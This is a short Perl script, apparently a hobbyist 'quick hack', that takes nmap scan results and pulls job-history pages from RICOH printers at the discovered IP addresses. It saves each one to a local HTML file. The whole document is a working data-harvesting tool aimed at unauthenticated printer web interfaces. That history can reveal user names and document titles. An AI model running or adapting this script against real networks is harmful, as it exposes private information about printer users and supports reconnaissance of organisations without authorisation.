#!/usr/bin/perl # # another quick hack # # v1.00(c) tor houghton (torh@bogus.net) # # Cat an nmap results file to this script to attempt to obtain # RICOH printer job history. # # e.g. # # cat nmap.out | ./ricoh-historygrab.pl # $|=1; require LWP::UserAgent; my $ua = LWP::UserAgent->new(); $ua->agent("RICOH-HISTORYGRAB/1.00"); $ua->timeout(2); while(<>) { if(/^Interesting ports on (\d+\.\d+\.\d+\.\d+)/) { $ip = $1; print "Trying $ip ... "; my $r = $ua->get("http://$ip/web/guest/en/webprinter/jobHistory.cgi"); if($r->is_success) { print "OK.\n"; open(OUT,">ricohjobs-$ip.html"); print OUT $r->content; close(OUT); } else { print "unable.\n"; } } }